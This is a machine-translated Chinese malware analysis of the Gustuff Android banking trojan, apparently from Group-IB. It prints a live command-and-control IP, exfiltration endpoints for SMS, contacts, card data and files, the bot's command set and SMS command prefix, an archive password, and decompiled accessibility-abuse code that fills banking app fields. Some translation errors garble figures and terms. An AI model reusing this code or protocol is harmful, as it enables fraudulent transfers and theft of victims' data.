就在前几天,IB组
Group-IB 恶意代码分析专家 伊万·皮萨列夫 在他的研究中,他详细讨论了 Gustuff 的工作原理及其危险性。
古斯塔夫在追捕谁?
Gustuff 属于具有完全自动化功能的新一代恶意软件。 据开发者称,该木马已成为 AndyBot 恶意软件的新改进版本,自 2017 年 800 月以来,该木马一直在攻击 Android 手机,并通过伪装成知名国际银行和支付系统的移动应用程序的网络钓鱼网页表单窃取资金。 Bestoffer 报道称,Gustuff Bot 的租金为每月 XNUMX 美元。
对 Gustuff 样本的分析表明,该木马可能针对使用美国银行、苏格兰银行、摩根大通、富国银行、第一资本银行、道明银行、PNC 银行等最大银行的移动应用程序以及加密钱包的客户比特币钱包、BitPay、Cryptopay、Coinbase 等
Gustuff 最初是作为经典的银行木马创建的,在当前版本中显着扩大了潜在攻击目标的列表。 除了面向银行、金融科技公司和加密服务的 Android 应用程序外,Gustuff 还面向市场应用程序、在线商店、支付系统和即时通讯工具的用户。 特别是 PayPal、西联汇款、eBay、沃尔玛、Skype、WhatsApp、Gett Taxi、Revolut 等。
切入点:群体感染计算
Gustuff 的特点是通过带有 APK 链接的 SMS 邮件渗透到 Android 智能手机的“经典”载体。 当Android设备在服务器的命令下感染木马时,Gustuff可能会通过受感染手机的联系人数据库或通过服务器数据库进一步传播。 Gustuff 的功能专为大规模感染和运营商业务的最大资本化而设计 - 它具有独特的“自动加载”功能到合法的移动银行应用程序和加密钱包中,使您能够加速并扩大资金盗窃的规模。
对该木马的研究表明,自动填充功能是通过无障碍服务(一项针对残疾人的服务)实现的。 Gustuff 并不是第一个成功绕过与使用此 Android 服务的其他应用程序的窗口元素交互保护的特洛伊木马。 然而,将无障碍服务与汽车加油机结合使用的情况仍然相当罕见。
下载到受害者的手机后,Gustuff 使用辅助功能服务能够与其他应用程序(银行、加密货币以及在线购物、消息传递等应用程序)的窗口元素进行交互,执行攻击者所需的操作。 例如,根据服务器的命令,木马可以按下按钮并更改银行应用程序中文本字段的值。 使用无障碍服务机制,该木马可以绕过银行用于对抗上一代移动木马的安全机制,以及谷歌在新版本的 Android 操作系统中实施的安全策略的更改。 因此,Gustuff“知道如何”禁用 Google Protect 保护:据作者称,此功能在 70% 的情况下有效。
Gustuff 还可以显示带有合法移动应用程序图标的虚假推送通知。 用户单击推送通知,会看到从服务器下载的网络钓鱼窗口,他可以在其中输入所请求的银行卡或加密钱包数据。 在另一个 Gustuff 场景中,打开了代表其显示 PUSH 通知的应用程序。 在这种情况下,恶意软件根据服务器通过辅助服务发出的命令,可以填写银行应用程序的表单字段以进行欺诈交易。
Gustuff 的功能还包括将有关受感染设备的信息发送到服务器、读取/发送 SMS 消息的能力、发送 USSD 请求、启动 SOCKS5 代理、点击链接、将文件(包括文档的照片扫描、屏幕截图、照片)发送到服务器,将设备重置为出厂设置。
恶意软件分析
在安装恶意应用程序之前,Android 操作系统会向用户显示一个窗口,其中包含 Gustuff 请求的权限列表:
该应用程序只有在获得用户同意后才会安装。 启动应用程序后,木马将向用户显示一个窗口:
之后它将删除其图标。
据作者介绍,Gustuff 是由 FTT 的加壳者加壳的。 启动后,应用程序定期联系 CnC 服务器以接收命令。 我们检查的几个文件使用 IP 地址作为控制服务器 88.99.171[.]105 (以下我们将其表示为 <%CnC%>).
启动后,程序开始向服务器发送消息 http://<%CnC%>/api/v1/get.php.
响应预计为以下格式的 JSON:
{
"results" : "OK",
"command":{
"id": "<%id%>",
"command":"<%command%>",
"timestamp":"<%Server Timestamp%>",
"params":{
<%Command parameters as JSON%>
},
},
}
每次访问该应用程序时,它都会发送有关受感染设备的信息。 消息格式如下所示。 值得注意的是,这些字段 ,, 额外, 应用 и 允许 – 可选,仅在来自 CnC 的请求命令的情况下才会发送。
{
"info":
{
"info":
{
"cell":<%Sim operator name%>,
"country":<%Country ISO%>,
"imei":<%IMEI%>,
"number":<%Phone number%>,
"line1Number":<%Phone number%>,
"advertisementId":<%ID%>
},
"state":
{
"admin":<%Has admin rights%>,
"source":<%String%>,
"needPermissions":<%Application needs permissions%>,
"accesByName":<%Boolean%>,
"accesByService":<%Boolean%>,
"safetyNet":<%String%>,
"defaultSmsApp":<%Default Sms Application%>,
"isDefaultSmsApp":<%Current application is Default Sms Application%>,
"dateTime":<%Current date time%>,
"batteryLevel":<%Battery level%>
},
"socks":
{
"id":<%Proxy module ID%>,
"enabled":<%Is enabled%>,
"active":<%Is active%>
},
"version":
{
"versionName":<%Package Version Name%>,
"versionCode":<%Package Version Code%>,
"lastUpdateTime":<%Package Last Update Time%>,
"tag":<%Tag, default value: "TAG"%>,
"targetSdkVersion":<%Target Sdk Version%>,
"buildConfigTimestamp":1541309066721
},
},
"full":
{
"model":<%Device Model%>,
"localeCountry":<%Country%>,
"localeLang":<%Locale language%>,
"accounts":<%JSON array, contains from "name" and "type" of accounts%>,
"lockType":<%Type of lockscreen password%>
},
"extra":
{
"serial":<%Build serial number%>,
"board":<%Build Board%>,
"brand":<%Build Brand%>,
"user":<%Build User%>,
"device":<%Build Device%>,
"display":<%Build Display%>,
"id":<%Build ID%>,
"manufacturer":<%Build manufacturer%>,
"model":<%Build model%>,
"product":<%Build product%>,
"tags":<%Build tags%>,
"type":<%Build type%>,
"imei":<%imei%>,
"imsi":<%imsi%>,
"line1number":<%phonenumber%>,
"iccid":<%Sim serial number%>,
"mcc":<%Mobile country code of operator%>,
"mnc":<%Mobile network codeof operator%>,
"cellid":<%GSM-data%>,
"lac":<%GSM-data%>,
"androidid":<%Android Id%>,
"ssid":<%Wi-Fi SSID%>
},
"apps":{<%List of installed applications%>},
"permission":<%List of granted permissions%>
}
存储配置数据
Gustuff 将操作上重要的信息存储在首选项文件中。 文件名以及其中的参数名称是字符串计算MD5和的结果 15413090667214.6.1<%名称%>哪里 <%名称%> — 初始名称-值。 名称生成函数的Python解释:
nameGenerator(input):
output = md5("15413090667214.6.1" + input)
下面我们将其表示为 名称生成器(输入).
所以第一个文件名是: 名称生成器(“API_SERVER_LIST”),它包含具有以下名称的值:
变量名 | 值 |
---|---|
名称生成器(“API_SERVER_LIST”) | 包含数组形式的 CnC 地址列表。 |
名称生成器(“API_SERVER_URL”) | 包含 CnC 地址。 |
名称生成器(“SMS_UPLOAD”) | 该标志是默认设置的。 如果设置了该标志,则向 CnC 发送 SMS 消息。 |
名称生成器(“SMS_ROOT_NUMBER”) | 受感染设备收到的 SMS 消息将发送到的电话号码。 默认为空。 |
名称生成器(“SMS_ROOT_NUMBER_RESEND”) | 默认情况下该标志被清除。 如果安装,当受感染的设备收到短信时,它将被发送到根号码。 |
名称生成器(“DEFAULT_APP_SMS”) | 默认情况下该标志被清除。 如果设置了此标志,应用程序将处理传入的 SMS 消息。 |
名称生成器(“DEFAULT_ADMIN”) | 默认情况下该标志被清除。 如果设置了该标志,则应用程序具有管理员权限。 |
名称生成器(“DEFAULT_ACCESSIBILITY”) | 默认情况下该标志被清除。 如果设置了该标志,则使用辅助功能服务的服务正在运行。 |
名称生成器(“APPS_CONFIG”) | 一个 JSON 对象,其中包含触发与特定应用程序关联的辅助功能事件时必须执行的操作列表。 |
名称生成器(“APPS_INSTALLED”) | 存储设备上安装的应用程序列表。 |
名称生成器(“IS_FIST_RUN”) | 该标志在第一次启动时重置。 |
名称生成器(“UNIQUE_ID”) | 包含唯一标识符。 第一次启动机器人时生成。 |
用于处理来自服务器的命令的模块
应用程序以数组的形式存储 CnC 服务器的地址,编码为 Base85 线。 CnC 服务器列表可以在收到适当的命令后进行更改,在这种情况下,地址将存储在首选项文件中。
为了响应请求,服务器向应用程序发送命令。 值得注意的是,命令和参数以 JSON 格式呈现。 应用程序可以处理以下命令:
团队 | 使用说明 |
---|---|
前进开始 | 开始将受感染设备收到的短信发送到 CnC 服务器。 |
前进停止 | 停止将受感染设备收到的短信发送到 CnC 服务器。 |
美元运行 | 执行USSD请求。 您需要向其发出 USSD 请求的号码位于 JSON 字段“number”中。 |
发简讯 | 发送一条 SMS 消息(如有必要,该消息将被“拆分”成多个部分)。 该命令采用一个 JSON 对象作为参数,其中包含字段“to”(目的地号码)和“body”(消息正文)。 |
发送短信抗体 | 向受感染设备的联系人列表中的每个人发送 SMS 消息(如有必要,该消息将被“拆分”成多个部分)。 发送消息的间隔为10秒。 消息正文位于 JSON 字段“body”中 |
发送短信群发 | 向命令参数中指定的联系人发送 SMS 消息(如有必要,消息将被“拆分”成多个部分)。 发送消息的间隔为10秒。 该命令采用 JSON 数组(“sms”字段)作为参数,其元素包含字段“to”(目的地号码)和“body”(消息正文)。 |
变更服务器 | 此命令可以采用带有“url”键的值作为参数 - 然后机器人将更改 nameGenerator(“SERVER_URL”) 或“array”的值 - 然后机器人会将数组写入 nameGenerator (“API_SERVER_LIST”)因此,应用程序更改了 CnC 服务器的地址。 |
管理员号码 | 该命令设计用于处理根号。 该命令接受带有以下参数的 JSON 对象: “number” - 将 nameGenerator(“ROOT_NUMBER”) 更改为收到的值,“resend” - 更改 nameGenerator(“SMS_ROOT_NUMBER_RESEND”),“sendId” - 发送到 nameGenerator(“ROOT_NUMBER”) ) 唯一身份。 |
更新信息 | 将有关受感染设备的信息发送到服务器。 |
抹掉数据 | 该命令旨在删除用户数据。 根据启动应用程序的名称,设备重新启动时数据会被完全删除(主要用户),或者仅删除用户数据(次要用户)。 |
袜子开始 | 启动代理模块。 该模块的操作在单独的部分中描述。 |
袜子停止 | 停止代理模块。 |
打开链接 | 请点击链接。 该链接位于“url”键下的 JSON 参数中。 “android.intent.action.VIEW”用于打开链接。 |
上传所有短信 | 将设备收到的所有 SMS 消息发送到服务器。 |
上传所有照片 | 将图像从受感染的设备发送到 URL。 URL 作为参数出现。 |
上传文件 | 从受感染的设备将文件发送到 URL。 URL 作为参数出现。 |
上传电话号码 | 将联系人列表中的电话号码发送到服务器。 如果接收到带有键“ab”的 JSON 对象值作为参数,则应用程序会收到电话簿中的联系人列表。 如果接收到带有“sms”键的 JSON 对象作为参数,则应用程序会读取 SMS 消息发送者的联系人列表。 |
更改存档 | 应用程序使用“url”键从作为参数出现的地址下载文件。 下载的文件以“archive.zip”名称保存。 然后,应用程序将解压缩文件,可以选择使用存档密码“b5jXh37gxgHBrZhQ4j3D”。 解压后的文件保存在【外部存储】/hgps目录下。 在此目录中,应用程序存储网络伪造品(如下所述)。 |
行动 | 该命令旨在与操作服务配合使用,这将在单独的部分中进行描述。 |
test | 什么也不做。 |
下载 | 该命令旨在从远程服务器下载文件并将其保存到“Downloads”目录中。 URL 和文件名作为参数,JSON 参数对象中的字段分别为:“url”和“fileName”。 |
去掉 | 从“下载”目录中删除文件。 文件名位于带有“fileName”键的 JSON 参数中。 标准文件名是“tmp.apk”。 |
通知 | 显示带有管理服务器定义的描述和标题文本的通知。 |
命令格式 通知:
{
"results" : "OK",
"command":{
"id": <%id%>,
"command":"notification",
"timestamp":<%Server Timestamp%>,
"params":{
"openApp":<%Open original app or not%>,
"array":[
{"title":<%Title text%>,
"desc":<%Description text%>,
"app":<%Application name%>}
]
},
},
}
正在调查的文件生成的通知看起来与字段中指定的应用程序生成的通知相同 应用。 如果字段值 开放应用程序 — 正确,当打开通知时,将启动该字段中指定的应用程序 应用。 如果字段值 开放应用程序 — 错误,那么:
- 将打开一个网络钓鱼窗口,其中的内容是从目录下载的 <%外部存储%>/hgps/<%文件名%>
- 打开网络钓鱼窗口,其中的内容是从服务器下载的 <%url%>?id=<%Bot id%>&app=<%应用程序名称%>
- 将打开一个网络钓鱼窗口,伪装成 Google Play 卡,并有机会输入卡详细信息。
应用程序将任何命令的结果发送到 <%CnC%>set_state.php 作为以下格式的 JSON 对象:
{
"command":
{
"command":<%command%>,
"id":<%command_id%>,
"state":<%command_state%>
}
"id":<%bot_id%>
}
行动服务
应用程序处理的命令列表包括 行动。 当接收到命令时,命令处理模块访问该服务来执行扩展命令。 该服务接受 JSON 对象作为参数。 该服务可以执行以下命令:
1. PARAMS_ACTION — 当接收到这样的命令时,服务首先从 JSON 参数接收 Type 键的值,该值可以如下所示:
- 服务信息 – 子命令从 JSON 参数中按键获取值 包含不重要。 如果该标志为 True,则应用程序设置该标志 FLAG_ISOLATED_PROCESS 使用辅助功能服务的服务。 这样,该服务将在单独的进程中启动。
- 根 — 接收并向服务器发送有关当前焦点窗口的信息。 应用程序使用 AccessibilityNodeInfo 类获取信息。
- 管理员 — 请求管理员权限。
- 延迟 — 将 ActionsService 暂停“data”键参数中指定的毫秒数。
- 窗户 — 发送用户可见的窗口列表。
- 安装 — 在受感染的设备上安装应用程序。 存档包的名称位于“fileName”键中。 存档本身位于下载目录中。
- 全球化 – 子命令旨在从当前窗口导航:
- 在快速设置菜单上
- 前
- 家
- 到通知
- 到最近打开的应用程序窗口
- 发射 - 启动应用程序。 应用程序名称作为按键参数 data.
- 声音 — 将声音模式更改为静音。
- 开锁 — 将屏幕和键盘的背光打开至全亮度。 应用程序使用 WakeLock 执行此操作,指定字符串 [Application lable]:INFO 作为标记
- 权限叠加 — 功能未实现(命令执行的响应为 {"message":"Not support"} 或 {"message":"low sdk"})
- 手势 — 该功能未实现(对命令执行的响应是{"message":"Not support"}或{"message":"Low API"})
- 权限 — 此命令是请求应用程序权限所必需的。 但查询功能没有实现,所以该命令没有意义。 请求的权限列表以带有“permissions”键的 JSON 数组形式出现。 标准清单:
- android.permission.READ_PHONE_STATE
- android.permission.READ_CONTACTS
- android.permission.CALL_PHONE
- android.permission.RECEIVE_SMS
- android.permission.SEND_SMS
- android.permission.READ_SMS
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
- 打开 — 显示网络钓鱼窗口。 根据来自服务器的参数,应用程序可能会显示以下网络钓鱼窗口:
- 显示网络钓鱼窗口,其内容写入目录中的文件中 <%外部目录%>/hgps/<%param_filename%>。 用户与窗口交互的结果将被发送到 <%CnC%>/records.php
- 显示网络钓鱼窗口,其内容是从地址预加载的 <%url_param%>?id=<%bot_id%>&app=<%packagename%>。 用户与窗口交互的结果将被发送到 <%CnC%>/records.php
- 显示伪装成 Google Play Card 的网络钓鱼窗口。
- 互动 — 该命令旨在使用 AccessibilityService 与其他应用程序的窗口元素进行交互。 程序中实现了一项特殊的交互服务。 正在调查的应用程序可以与Windows交互:
- 目前活跃。 在这种情况下,参数包含需要与之交互的对象的 ID 或文本(名称)。
- 执行命令时用户可见。 应用程序通过 id 选择窗口。
收到物品后 辅助功能节点信息 对于感兴趣的窗口元素,应用程序可以根据参数执行以下操作:
- focus — 将焦点设置到对象上。
- 单击 — 单击一个对象。
- actionId — 按 ID 执行操作。
- setText — 更改对象的文本。 可以通过两种方式更改文本: 执行操作 ACTION_SET_TEXT (如果受感染设备的Android版本低于或等于 棒糖),或者将字符串放在剪贴板上并将其粘贴到对象中(对于旧版本)。 此命令可用于更改银行应用程序中的数据。
2. PARAMS_ACTIONS - 与...一样 PARAMS_ACTION,只有一个 JSON 命令数组到达。
似乎很多人都会对与另一个应用程序的窗口元素交互的功能是什么样子感兴趣。 这是 Gustuff 中实现此功能的方式:
boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
int count = action.optInt("repeat", 1);
Iterator aiListIterator = ((Iterable)aiList).iterator();
int count = 0;
while(aiListIterator.hasNext()) {
Object ani = aiListIterator.next();
if(1 <= count) {
int index;
for(index = 1; true; ++index) {
if(action.has("focus")) {
if(((AccessibilityNodeInfo)ani).performAction(1)) {
++count;
}
}
else if(action.has("click")) {
if(((AccessibilityNodeInfo)ani).performAction(16)) {
++count;
}
}
else if(action.has("actionId")) {
if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
++count;
}
}
else if(action.has("setText")) {
customHeader ch = CustomAccessibilityService.a;
Context context = this.getApplicationContext();
String text = action.optString("setText");
if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
++count;
}
}
if(index == count) {
break;
}
}
}
((AccessibilityNodeInfo)ani).recycle();
}
res.addPropertyNumber("res", Integer.valueOf(count));
}
文本替换功能:
boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
boolean result;
if(Build$VERSION.SDK_INT >= 21) {
Bundle b = new Bundle();
b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
result = ani.performAction(0x200000, b); // ACTION_SET_TEXT
}
else {
Object clipboard = context.getSystemService("clipboard");
if(clipboard != null) {
((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
result = ani.performAction(0x8000); // ACTION_PASTE
}
else {
result = false;
}
}
return result;
}
因此,通过正确配置控制服务器,Gustuff 能够填写银行应用程序中的文本字段并单击完成交易所需的按钮。 该木马甚至不需要登录应用程序——发送命令来显示推送通知,然后打开之前安装的银行应用程序就足够了。 用户将验证自己的身份,之后 Gustuff 就可以为汽车加油。
短信处理模块
该应用程序为受感染的设备安装一个事件处理程序以接受 SMS 消息。 正在研究的应用程序可以接收来自操作员的命令,这些命令包含在 SMS 消息的正文中。 命令的格式如下:
7!5=<%Base64编码命令%>
应用程序在所有传入的 SMS 消息中搜索该字符串 7!5=,当检测到字符串时,它会在偏移量 64 处从 Base4 解码字符串并执行命令。 这些命令与 CnC 的命令类似。 执行结果将发送到与命令来源相同的号码。 响应格式:
7*5=<%“result_code 命令”的 Base64 编码%>
或者,应用程序可以将所有收到的消息发送到根号码。 为此,必须在首选项文件中指定根号,并且必须设置消息重定向标志。 一条 SMS 消息将以以下格式发送到攻击者的号码:
<%发件人号码%> - <%时间,格式:dd/MM/yyyy HH:mm:ss%> <%短信正文%>
此外,应用程序还可以选择向 CnC 发送消息。 短信以 JSON 格式发送到服务器:
{
"id":<%BotID%>,
"sms":
{
"text":<%SMS body%>,
"number":<%From number%>,
"date":<%Timestamp%>
}
}
如果设置了标志 名称生成器(“DEFAULT_APP_SMS”) – 应用程序停止处理 SMS 消息并清除传入消息列表。
代理模块
所研究的应用程序包含一个 Backconnect 代理模块(以下简称代理模块),该模块有一个单独的类,其中包含具有配置的静态字段。 配置数据以清晰的形式存储在示例中:
代理模块执行的所有操作都会记录到文件中。 为此,外部存储中的应用程序创建一个名为“logs”的目录(配置类中的 ProxyConfigClass.logsDir 字段),其中存储日志文件。 日志记录发生在具有以下名称的文件中:
- 主文件.txt – 名为 CommandServer 的类的工作记录到此文件中。 接下来,将字符串 str 记录到该文件中将表示为 mainLog(str)。
- 会话-<%id%>.txt — 此文件保存与特定代理会话关联的日志数据。 接下来,将字符串 str 记录到该文件中将被表示为 sessionLog (str)。
- 服务器.txt – 该文件用于记录写入上述文件的所有数据。
日志数据格式:
<%Date%> [线程[<%线程 id%>], id[]]: 日志字符串
代理模块运行期间发生的异常也会记录到文件中。 为此,应用程序会生成以下格式的 JSON 对象:
{
"uncaughtException":<%short description of throwable%>
"thread":<%thread%>
"message":<%detail message of throwable%>
"trace": //Stack trace info
[
{
"ClassName":
"FileName":
"LineNumber":
"MethodName":
},
{
"ClassName":
"FileName":
"LineNumber":
"MethodName":
}
]
}
然后它将其转换为字符串表示形式并记录下来。
Proxy模块在收到相应的命令后启动。 当收到启动代理模块的命令时,应用程序启动一个名为 主服务,它负责管理代理模块的操作 - 启动和停止它。
启动服务的阶段:
1. 启动每分钟运行一次的计时器并检查代理模块的活动。 如果模块未激活,则会启动它。
另外当事件被触发时 android.net.conn.CONNECTIVITY_CHANGE 代理模块启动。
2. 应用程序使用参数创建唤醒锁 部分唤醒锁定 并抓住了他。 这可以防止设备 CPU 进入睡眠模式。
3. 启动 Proxy 模块的命令处理类,首先记录该行 mainLog("启动服务器") и
服务器::start() 主机[<%proxy_cnc%>]、commandPort[<%command_port%>]、proxyPort[<%proxy_port%>]
哪里 proxy_cnc、command_port 和 proxy_port – 从代理服务器配置中获取的参数。
命令处理类称为 命令连接。 启动后立即执行以下操作:
4. 连接到 ProxyConfigClass.host: ProxyConfigClass.commandPort 并以 JSON 格式发送有关受感染设备的数据:
{
"id":<%id%>,
"imei":<%imei%>,
"imsi":<%imsi%>,
"model":<%model%>,
"manufacturer":<%manufacturer%>,
"androidVersion":<%androidVersion%>,
"country":<%country%>,
"partnerId":<%partnerId%>,
"packageName":<%packageName%>,
"networkType":<%networkType%>,
"hasGsmSupport":<%hasGsmSupport%>,
"simReady":<%simReady%>,
"simCountry":<%simCountry%>,
"networkOperator":<%networkOperator%>,
"simOperator":<%simOperator%>,
"version":<%version%>
}
在哪里:
- id – 标识符,尝试从名为“x”的共享首选项文件中获取带有“id”字段的值。 如果无法获取该值,则会生成一个新值。 因此,Proxy 模块有自己的标识符,其生成方式与 Bot ID 类似。
- imei — 设备的 IMEI。 如果在获取值的过程中发生错误,则会写入错误文本消息而不是该字段。
- imsi — 设备的国际移动用户身份。 如果在获取值的过程中发生错误,则会写入错误文本消息而不是该字段。
- 型号 — 最终产品的最终用户可见的名称。
- 制造商 — 产品/硬件的制造商 (Build.MANUFACTURER)。
- androidVersion - 格式为“<%release_version%> (<%os_version%>),<%sdk_version%>”的字符串
- 国家/地区 — 设备的当前位置。
- PartnerId 是一个空字符串。
- packageName – 包名称。
- networkType — 当前网络连接的类型(例如:“WIFI”、“MOBILE”)。 如果出现错误,则返回 null。
- hasGsmSupport – true – 如果手机支持 GSM,否则为 false。
- simReady – SIM 卡状态。
- simCountry - ISO 国家/地区代码(基于 SIM 卡提供商)。
- networkOperator — 运营商名称。 如果在获取值的过程中发生错误,则会写入错误文本消息而不是该字段。
- simOperator — 服务提供商名称 (SPN)。 如果在获取值的过程中发生错误,则会写入错误文本消息而不是该字段。
- 版本 - 该字段存储在配置类中;对于机器人的测试版本,它等于“1.6”。
5. 切换到等待服务器命令的模式。 来自服务器的命令采用以下格式:
- 0 偏移量 – 命令
- 1 个偏移量 – sessionId
- 2 偏移量 – 长度
- 4 偏移量-数据
当命令到达时,应用程序会记录:
mainLog("标头 { sessionId<%id%>], 类型[<%command%>], 长度[<%length%>] }")
来自服务器的以下命令是可能的:
名字 | 命令 | 时间 | 课程描述 |
---|---|---|---|
连接ID | 0 | 连接编号 | 创建新连接 |
SLEEP | 3 | 时间 | 暂停代理模块 |
乒乓 | 4 | - | 发送 PONG 消息 |
PONG 消息由 4 个字节组成,如下所示: 0x04000000.
当收到connectionId命令时(创建新连接) 命令连接 创建类的实例 代理连接.
- 有两个类参与代理: 代理连接 и 结束。 创建类时 代理连接 连接到地址 ProxyConfigClass.host: ProxyConfigClass.proxyPort 并传递 JSON 对象:
{
"id":<%connectionId%>
}
作为响应,服务器发送一条 SOCKS5 消息,其中包含必须与其建立连接的远程服务器的地址。 与该服务器的交互通过类进行 结束。 连接设置可以示意性地表示如下:
网络互动
为了防止网络嗅探器进行流量分析,可以使用 SSL 协议保护 CnC 服务器和应用程序之间的交互。 所有从服务器传输到服务器的数据都以 JSON 格式呈现。 应用程序在运行期间执行以下请求:
- http://<%CnC%>/api/v1/set_state.php ——命令执行的结果。
- http://<%CnC%>/api/v1/get.php — 接收命令。
- http://<%CnC%>/api/v1/load_sms.php — 从受感染的设备下载短信。
- http://<%CnC%>/api/v1/load_ab.php — 从受感染的设备上传联系人列表。
- http://<%CnC%>/api/v1/aevents.php – 当更新首选项文件中的参数时发出请求。
- http://<%CnC%>/api/v1/set_card.php — 上传使用伪装成 Google Play 市场的网络钓鱼窗口获得的数据。
- http://<%CnC%>/api/v1/logs.php – 上传日志数据。
- http://<%CnC%>/api/v1/records.php – 上传通过网络钓鱼窗口获得的数据。
- http://<%CnC%>/api/v1/set_error.php – 发生错误的通知。
建议
为了保护客户免受移动木马的威胁,公司必须使用全面的解决方案,使他们能够监控和防止恶意活动,而无需在用户设备上安装额外的软件。
为此,需要通过分析客户端和应用程序本身行为的技术来加强检测移动木马的签名方法。 保护措施还应包括使用数字指纹技术的设备识别功能,这将使得能够了解帐户何时从非典型设备使用以及何时已落入欺诈者手中。
至关重要的一点是跨渠道分析的可用性,它使公司不仅可以控制互联网上产生的风险,还可以控制移动渠道上产生的风险,例如,在移动银行应用程序、加密货币交易和任何其他应用程序中。金融交易。
用户安全规则:
- 不要从 Google Play 以外的任何来源为 Android 操作系统的移动设备安装应用程序,特别注意应用程序请求的权利;
- 定期安装 Android 操作系统更新;
- 注意下载文件的扩展名;
- 不要访问可疑资源;
- 请勿点击短信中收到的链接。
主演 谢苗·罗加切娃Group-IB 计算机取证实验室的恶意软件研究初级专家。
来源: habr.com